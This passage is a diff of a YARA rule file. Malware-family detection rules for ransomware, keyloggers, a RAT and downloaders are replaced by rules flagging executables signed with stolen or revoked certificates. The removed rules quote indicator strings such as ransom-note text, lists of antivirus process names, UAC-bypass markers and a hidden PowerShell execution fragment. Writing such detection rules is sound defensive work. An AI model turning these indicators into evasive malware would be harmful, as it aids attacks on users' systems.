+		logic_hash = "2b7c5ccc7a09d3917cf8625bc3e78526ba9620eb8bb08490124c24a5c2eda629"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "-noshares" fullword wide
-		$s2 = "-nomutex" fullword wide
-		$s3 = "-noreport" fullword wide
-		$s4 = "-noservices" fullword wide
-		$s5 = "$Recycle.bin" fullword wide
-		$s6 = "YOUR_FILES_ARE_ENCRYPTED.HTML" fullword wide
-		$s7 = "\\\\?\\%c:" fullword wide
-		$s8 = "locker.exe" fullword ascii
-		$s9 = "DllRegisterServer" fullword ascii
-		$g1 = "main.EncFile" fullword ascii nocase
-		$g2 = "main.detectName" fullword ascii nocase
-		$g3 = "main.detectIP" fullword ascii nocase
-		$g4 = "main.detectDebugProc" fullword ascii nocase
-		$g5 = "main.Bypass" ascii nocase
-		$g6 = "main.allocateMemory" fullword ascii nocase
-		$g7 = "main.killAV" fullword ascii nocase
-		$g8 = "main.disableShadowCopy" fullword ascii nocase
-		$g9 = "main.(*windowsDrivesModel).LoadDrives" fullword ascii nocase
-		$g10 = "main.IsFriends" fullword ascii nocase
-		$g11 = "main.walkMsg" fullword ascii nocase
-		$g12 = "main.makeSecretMessage" fullword ascii nocase
-		$g13 = "main.stealFiles" fullword ascii nocase
-		$g14 = "main.newKey" fullword ascii nocase
-		$g15 = "main.openBrowser" fullword ascii nocase
-		$g16 = "main.killProc" fullword ascii nocase
-		$g17 = "main.selfRemove" fullword ascii nocase
-		$m1 = "<h2>\\x20Offline\\x20HowTo\\x20</h2>\\x0a\\x09\\x09\\x09\\x09<p>Copy\\x20&\\x20Paste\\x20this\\x20message\\x20to" ascii
-		$m2 = "\\x20restore\\x20your\\x20files." ascii
-		$m3 = "\\x20your\\x20documents\\x20and\\x20files\\x20encrypted" ascii
-		$m4 = "\\x20lose\\x20all\\x20of\\x20your\\x20data\\x20and\\x20files." ascii
-		$m5 = ",'/#/client/','<h2>\\x20Whats\\x20Happen" ascii
+		thumbprint = "57ecdfa48ed03a5a8177887090b3d1ffaf124846"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or 6 of ($g*) or 3 of ($m*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "jZQtQDMvyDRzWsoVFeitFmeNcWMtKauvidXSUrSEwqmi" and pe.signatures[i].serial=="71:9a:c4:49:66:d0:57:62:ef:95:24:5e:ef:cf:30:46")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Zegost : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008Fe807310D98357A59382090634B93F0 : FILE
 {
 	meta:
-		description = "Detects Zegost"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cce29602-c096-53df-a99b-16f18ed43b80"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bf4326b3-a838-5dff-a6e1-ac71c6fb871d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4534-L4560"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5539-L5550"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "96727a0f5c113e5cdfe871f104553fd1c04a8f63ecbb8db7223afb71fcdd4087"
+		logic_hash = "a90430a6f07f67ead37e5cba9f0baee92551511a9f33a2a1fd3d2419322aaa8b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "rtvscan.exe" fullword ascii
-		$s2 = "ashDisp.exe" fullword ascii
-		$s3 = "KvMonXP.exe" fullword ascii
-		$s4 = "egui.exe" fullword ascii
-		$s5 = "avcenter.exe" fullword ascii
-		$s6 = "K7TSecurity.exe" fullword ascii
-		$s7 = "TMBMSRV.exe" fullword ascii
-		$s8 = "RavMonD.exe" fullword ascii
-		$s9 = "kxetray.exe" fullword ascii
-		$s10 = "mssecess.exe" fullword ascii
-		$s11 = "QUHLPSVC.EXE" fullword ascii
-		$s12 = "360tray.exe" fullword ascii
-		$s13 = "QQPCRTP.exe" fullword ascii
-		$s14 = "knsdtray.exe" fullword ascii
-		$s15 = "V3Svc.exe" fullword ascii
-		$s16 = "??1_Winit@std@@QAE@XZ" fullword ascii
-		$s17 = "ClearEventLogA" fullword ascii
-		$s18 = "SeShutdownPrivilege" fullword ascii
-		$s19 = "%s\\shell\\open\\command" fullword ascii
+		thumbprint = "acd6cf38d03c355ddb84b96a7365bfc1738a0ec5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MAVE MEDIA" and pe.signatures[i].serial=="00:8f:e8:07:31:0d:98:35:7a:59:38:20:90:63:4b:93:f0")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_GENERIC01 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00801689896Ed339237464A41A2900A969 : FILE
 {
 	meta:
-		description = "Detects known unamed malicious executables, mostly DLLs"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3c16df71-f2e2-591c-b377-7e5ed697d43f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "91cecd18-0007-59a4-94f3-bdaa06b25822"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4562-L4575"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5552-L5563"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ddae979db5ddda772ca66a3d50e4b5479b16052ea002fd04fdbf295ce784e291"
+		logic_hash = "9dc505e00e0085587aee2bf2e70db04850e11d057b8d16e31e8caebb130e047b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\wmkawe_%d.data" ascii
-		$s2 = "\\resmon.resmoncfg" ascii
-		$s3 = "ByPassUAC" fullword ascii
-		$s4 = "rundll32.exe C:\\ProgramData\\Sandboxie\\SbieMsg.dll,installsvc" fullword ascii nocase
-		$s5 = "%s\\SbieMsg." ascii
-		$s6 = "Stupid Japanese" fullword ascii
+		thumbprint = "9b0ab2e7f3514f6372d14b1f7f963c155b18bd24"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GLG Rental ApS" and pe.signatures[i].serial=="00:80:16:89:89:6e:d3:39:23:74:64:a4:1a:29:00:a9:69")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_GENERIC02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Podangers : FILE
 {
 	meta:
-		description = "Detects known unamed malicious executables"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d0d24e69-0e99-5766-8e8e-9cdce902fa8f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b394c4a1-1614-578f-bbfc-6eb9998b4a06"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4577-L4591"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5565-L5576"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4f750c871ee061ed2d5d1f68e6ac1f56b8127321cfc207e2dd1dbed9d9848ce5"
+		logic_hash = "6a041e8ae4a7a1af59b81799b5c014691e347c8305266adeffd9d49337712b2e"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "{%s-%d-%d}" fullword wide
-		$s2 = "update" fullword wide
-		$s3 = "https://" fullword wide
-		$s4 = "http://" fullword wide
-		$s5 = "configure" fullword ascii
-		$s6 = { 8d 4f 02 e8 8c ff ff ff 8b d8 81 fb 00 dc 00 00 }
-		$s7 = { 83 c1 02 e8 3c ff ff ff 8b c8 ba ff 03 00 00 8d }
+		thumbprint = "6e757c3b91d75d58b5230c27a2fcc01bfe5fe60f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PODANGERS" and pe.signatures[i].serial=="00")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent06 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E9A1E07314Bc2F2D51818454B63E5829 : FILE
 {
 	meta:
-		description = "Detects known downloader agent downloading encoded binaries in patches"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "00cb5184-b12d-5014-bee8-116cc72dfa47"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2c9f0497-0fcd-591c-be72-e92464b689f3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4593-L4610"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5578-L5589"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9188804ad0e08f3e0cd09eb8815abea14da5aa28aef9084d19108a24f49f65c7"
+		logic_hash = "e3dfb75350bcdbb6861612f2f6cc757724260f99e4024df2b20c7b273bc50266"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920122"
-		snort3_sid = "920119"
-
-	strings:
-		$s1 = "totallist" fullword ascii wide
-		$s2 = "LINKS_HERE" fullword wide
-		$s3 = "[SPLITTER]" fullword wide
-		$var2_1 = "DownloadWeb" fullword ascii
-		$var2_2 = "WriteByte" fullword ascii
-		$var2_3 = "MemoryStream" fullword ascii
-		$var2_4 = "DownloadString" fullword ascii
-		$var2_5 = "WebClient" fullword ascii
+		thumbprint = "3a146f3c0fc17b9df14bd127ebf12b15a5a1a011"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($s*) and 2 of ($var2*)) or (4 of ($var2*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "iWLiYpLtpOlZYGmysAZkhz" and pe.signatures[i].serial=="00:e9:a1:e0:73:14:bc:2f:2d:51:81:84:54:b6:3e:58:29")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_PWSH_Poshkeylogger
+rule DITEKSHEN_INDICATOR_KB_CERT_9D915138Acdac1A044Afa6E5D99567C5 : FILE
 {
 	meta:
-		description = "Detects PowerShell PoshKeylogger"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a816d716-caeb-5f08-9043-29db531f9e7c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "89182dfb-b100-573c-85ae-38bdf7f24a64"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4612-L4627"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5591-L5602"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "20bde87ded7e3b68bc554c4b9a6c2ef08514f0d47b6b144763927bede81ea540"
+		logic_hash = "32fb0d12a9b61461104e29571fcc7210f7ea8a82a8e240c747a0070d8d43a9b0"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "::GetKeyboardState" ascii
-		$s2 = "GetAsyncKeyState(" ascii
-		$s3 = "::MapVirtualKey(" ascii
-		$s4 = "::GetAsyncKeyState" ascii
-		$s5 = "Start-Sleep" ascii
-		$s6 = "send-mailmessage" ascii
-		$s7 = "[System.IO.File]::AppendAllText($" ascii
-		$s8 = "new-object Management.Automation.PSCredential $" ascii
+		tags = "FILE"
+		thumbprint = "4f8b9ce0e25810d1b62d8c016607de128beba2a1"
+		importance = 20
 
 	condition:
-		6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AAAruntest" and pe.signatures[i].serial=="9d:91:51:38:ac:da:c1:a0:44:af:a6:e5:d9:95:67:c5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fujinamarat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_11A9Bf6B2Dcbc683475B431A1C79133E : FILE
 {
 	meta:
-		description = "Detects FujinamaRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f6b08713-1c03-5914-b0a2-ea9164a3f2cb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "9c49f529-330f-5d37-b613-e45aad50afcb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4629-L4645"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5604-L5615"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "42557094afe67196442f46d76f156c09852d694bcc5f03eac51e79ad247c2fdd"
+		logic_hash = "fa424180e60d2fde2fce085d0c848c5b33bcc58c2ca54f327f446ff5cf361fe2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920124"
-		snort3_sid = "920121"
-
-	strings:
-		$s1 = "GetAsyncKeyState" fullword ascii
-		$s2 = "HTTP/1.0" fullword wide
-		$s3 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword wide
-		$s4 = "frmMain" fullword ascii
-		$s5 = "G<=>?@ABGGGGGGGGGGGGGGGGGGGGGGGGGGCDEF" fullword ascii
-		$s6 = "VBA6.DLL" fullword ascii
-		$s7 = "t_save" fullword ascii
+		thumbprint = "7412b3f5ba689967a5b46e6ef5dc5e9b9de3917d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BINDOX" and pe.signatures[i].serial=="11:a9:bf:6b:2d:cb:c6:83:47:5b:43:1a:1c:79:13:3e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Phorpiex : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3Fd3661533Eef209153C9Afec3Ba4D8A : FILE
 {
 	meta:
-		description = "Detects Phorpiex variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e2d26c5f-939e-53e3-8730-622341d26273"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d47bc223-f29e-54d3-a452-064f89fa80f7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4647-L4666"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5617-L5628"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4c48a20aaf37d65471710181238d2c39c1cb0fc5a37b9c411e8d4dcfd7a9e26e"
+		logic_hash = "e9662abf4c70d54fc719850ef216352fd59a559726fbad5db9e265660400b432"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ShEllExECutE=__\\DriveMgr.exe" fullword wide nocase
-		$s2 = "/c start __ & __\\DriveMgr.exe & exit" fullword wide nocase
-		$s3 = "%s\\autorun.inf" fullword wide
-		$s4 = "svchost." wide
-		$s5 = "%ls\\%d%d" wide
-		$s6 = "bitcoincash:" ascii
-		$s7 = "%ls:*:Enabled:%ls" fullword wide
-		$s8 = "%s\\%s\\DriveMgr.exe" fullword wide
-		$s9 = "api.wipmania.com" ascii
-		$v1_1 = "%appdata%" fullword wide
-		$v1_2 = "(iPhone;" ascii
-		$v1_3 = "/tst.php" ascii
+		thumbprint = "20ddd23f53e1ac49926335ec3e685a515ab49252"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or all of ($v1*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SFB Regnskabsservice ApS" and pe.signatures[i].serial=="3f:d3:66:15:33:ee:f2:09:15:3c:9a:fe:c3:ba:4d:8a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_EXEPWSH_Dlagent : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2Ba40F65086686Dd4Ab7171E : FILE
 {
 	meta:
-		description = "Detects SystemBC"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f5e7490f-806c-52d2-8f1c-9e00ab3e2780"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "13909741-cba3-5143-86eb-bcc227cfaa9c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4668-L4687"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5630-L5641"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6380359db1ac775cea3ebb93f7cf22a92d2f2e634c6aa724e2814c10d4ed42f5"
+		logic_hash = "8ed65c0b5d231be9dbbe34da493087d1bf83cf21c401435fed7e2851acdb6f60"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pwsh = "powershell" fullword ascii
-		$bitstansfer = "Start-BitsTransfer" ascii wide
-		$s1 = "GET %s HTTP/1" ascii
-		$s2 = "User-Agent:" ascii
-		$s3 = "-WindowStyle Hidden -ep bypass -file \"" fullword ascii
-		$s4 = "LdrLoadDll" fullword ascii
-		$v1 = "BEGINDATA" fullword ascii
-		$v2 = /HOST\d:/ ascii
-		$v3 = /PORT\d:/ ascii
-		$v4 = "TOR:" fullword ascii
-		$v5 = "Fwow64" fullword ascii
-		$v6 = "start" fullword ascii
+		thumbprint = "842f81869c2f4f2ba2a7e6513501166e2679108a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (($pwsh and ($bitstansfer or 2 of ($s*))) or (5 of ($v*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RITEIL SISTEMS LLC" and pe.signatures[i].serial=="2b:a4:0f:65:08:66:86:dd:4a:b7:17:1e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Hdlocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_67144B9Ed89Fb2D106D0233873C6E35F : FILE
 {
 	meta:
-		description = "Detects HDLocker ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "03ada32b-6ef5-5600-954b-e9f430c6ff2d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f9806e55-9efa-504a-b27c-d3418fc5cd38"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4689-L4703"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5643-L5654"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "337678a4a780947841a19c401601f1be7218276c8d4161229567dc4d6026b16a"
+		logic_hash = "9d3c39c590a75b3ea1d1f699bea279c0c68498e51e2ab7f4ad3e3f8857d6d668"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "HDLocker_" fullword ascii
-		$s2 = ".log" fullword ascii
-		$s3 = "Scripting.FileSystemObject" fullword ascii
-		$s4 = "Boot" fullword ascii
-		$s5 = "hellwdo" fullword ascii
-		$s6 = "blackmoon" fullword ascii
-		$s7 = "BlackMoon RunTime Error:" ascii
+		thumbprint = "5971faead4c86bf72e6ab36efc0376d4abfffeda"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Infosignal LLC" and pe.signatures[i].serial=="67:14:4b:9e:d8:9f:b2:d1:06:d0:23:38:73:c6:e3:5f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Vovalex : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ca4822E6905Aa4Fca9E28523F04F14A3 : FILE
 {
 	meta:
-		description = "Detects Vovalex ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "967af585-8a91-5ed0-8400-a8a24d95fd12"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "713f84b3-b09a-5fcf-85ed-899be9f14b84"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4705-L4718"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5656-L5667"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ea695521981f4b007eee50e95f7989dda1f07cc411c59450489bb17391ff29dc"
+		logic_hash = "6e0d7abd82805019c6b1c9df2479489bbd3fe7a4a1703971c02324072692b1e5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "README.VOVALEX.txt" fullword ascii
-		$s2 = "\\src\\phobos\\std\\" ascii
-		$s3 = "LoadLibraryA(\"Advapi32.dll\")" fullword ascii
-		$s4 = "Failed to spawn process \"" fullword ascii
-		$s5 = "=== Bypassed ===" fullword ascii
-		$s6 = "If you don't know where to buy" ascii
+		thumbprint = "35ced9662401f10fa92282e062a8b5588e0c674d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ELISTREID, OOO" and pe.signatures[i].serial=="00:ca:48:22:e6:90:5a:a4:fc:a9:e2:85:23:f0:4f:14:a3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dharma : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3769815A97A8Fb411E005282B37878E3 : FILE
 {
 	meta:
-		description = "Detects Dharma ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "070be95e-8d9c-5c4d-9d46-cddea6dbb682"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "da41e9a7-1660-5157-9148-f2f774df647a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4720-L4728"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5669-L5680"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2727b2c0295e32699e08c3c79d7ac6fd52f1520358ac23290d40df428c969f4b"
+		logic_hash = "ccd548ebe2be2c7b44e6c39df50ffea4703d0b1decd78cc6fb4b3bbf9d85be0b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\crysis\\Release\\PDB\\payload.pdb" fullword ascii
+		thumbprint = "c80fd3259af331743e35a2197f5f57061654860c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Yandex" and pe.signatures[i].serial=="37:69:81:5a:97:a8:fb:41:1e:00:52:82:b3:78:78:e3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Cryptolocker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3B007314844B114C61Bc156A0609A286 : FILE
 {
 	meta:
-		description = "Detects Cryptolocker ransomware variants (Betarasite)"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4c6d714d-1fb1-55ce-8022-40f6f634e2cd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bb68c2fc-2389-5fb8-96f0-5731f008fd3c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4730-L4752"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5682-L5693"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e1700e8ace338c25119305878e8bc52210506bd42183007985ba9601abdab87b"
+		logic_hash = "f6f4e551a9be96f43a81e4da69f7b312dbdc16da17659a00a3486543a9c078e9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "CryptoLocker" fullword wide
-		$x2 = ".betarasite" fullword wide
-		$x3 = "CMSTPBypass" fullword ascii
-		$s1 = "CommandToExecute" fullword ascii
-		$s2 = "SetInfFile" fullword ascii
-		$s3 = "SchoolPrject1" ascii
-		$s4 = "$730d5f64-bd57-47c1-9af4-d20aec714d02" fullword ascii
-		$s5 = "Encrypt" fullword ascii
-		$s6 = "Invalide Key! Please Try Again." fullword wide
-		$s7 = "RegAsm" fullword wide
-		$s8 = "Your key will be destroyed" wide
-		$s9 = "encrypted using RC4 and RSA-2048" wide
-		$c1 = "https://coinbase.com" fullword wide
-		$c2 = "https://localbictoins.com" fullword wide
-		$c3 = "https://bitpanda.com" fullword wide
+		thumbprint = "52ae9fdda7416553ab696388b66f645e07e753cd"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or (2 of ($x*) and 5 of ($s*)) or ( all of ($c*) and 1 of ($x*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SATURDAY CITY LIMITED" and pe.signatures[i].serial=="3b:00:73:14:84:4b:11:4c:61:bc:15:6a:06:09:a2:86")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_PWSH_Poshwifistealer
+rule DITEKSHEN_INDICATOR_KB_CERT_262Ca7Ae19D688138E75932832B18F9D : FILE
 {
 	meta:
-		description = "Detects PowerShell PoshWiFiStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "69ac123d-b746-57f1-a488-547f9a9cdd86"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "891717e4-502f-5820-903c-3d9f2751a9d3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4754-L4765"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5695-L5706"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "769349360b5d22226a5339a9e8471d06731dc522475c9385c1c145a0488e0ad1"
+		logic_hash = "0e6e75206bea63856e4ab07ff9b1220448f3cad6d845ae09703b9e836015520d"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
